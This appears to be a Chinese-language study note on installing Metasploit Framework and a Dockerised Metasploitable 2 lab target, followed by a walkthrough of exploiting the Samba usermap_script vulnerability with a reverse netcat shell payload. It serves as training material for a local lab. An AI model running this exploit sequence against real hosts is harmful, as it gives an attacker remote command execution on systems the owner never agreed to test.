Metasploit 框架与靶机的安装与测试
前言
最近在学习《Metasploit 渗透测试魔鬼训练营》,颇为有趣。
想起以前看《操作系统导论(Remzi H. Arpaci-Dusseau等著)》的日子了(我爱死这本书了)
这份笔记记录了 Metasploit Framework 框架安装、靶机配置和实际攻击演示。
一、Metasploit Framework 安装
笔者环境
- 操作系统:Ubuntu(或其他 Linux 发行版)
安装步骤
按照官方文档(Metasploit 官方安装指南)进行安装:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
进入 MSF 控制台
安装完成后,输入以下命令进入 Metasploit 控制台:
msfconsole
查看帮助信息
进入控制台后,可使用 help 命令查看所有可用命令,或使用 help [命令名] 查看特定命令的帮助:
help
help [命令名]
二、靶机(Metasploitable)安装
使用 Docker 配置靶机
此处使用 Docker 快速部署 Metasploitable 靶机。首先拉取镜像:
sudo docker pull tleemcjr/metasploitable2
启动靶机容器
使用以下命令启动靶机容器并进入 shell:
sudo docker run --name mymetasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"
提示:可将此命令写入 .sh 脚本文件并赋予执行权限,避免重复输入。
获取容器 IP
启动后,在容器内输入 ifconfig 查看容器 IP 地址:
ifconfig
在此示例中,容器 IP 为 172.17.0.2
三、执行攻击
基本概念
在 Metasploit 中执行攻击需要理解几个关键概念:
模块(Module)
渗透攻击模块指利用什么样的漏洞或弱点进行攻击。
载荷(Payload)
攻击载荷指攻破后在目标机器上执行怎样的命令以获取权限。
攻击流程
以下命令在msfconsole中执行
步骤 1:选择攻击模块
使用 multi/samba/usermap_script 模块来利用 Samba 漏洞:
use multi/samba/usermap_script
步骤 2:设置攻击载荷
设置攻击载荷为反向 netcat shell:
set payload cmd/unix/reverse_netcat
步骤 3:设置目标主机
设置目标主机 IP(RHOST - Remote HOST),即容器的 IP 地址:
set RHOST 172.17.0.2
步骤 4:执行攻击
输入 exploit 命令执行攻击:
exploit
攻击结果
攻击成功后,攻击机将获取靶机的命令执行权限,可在目标机器上执行任意命令:
这只是 Metasploit 的基础环境测试。实际渗透测试中还涉及信息收集、漏洞扫描、权限提升等更复杂的流程。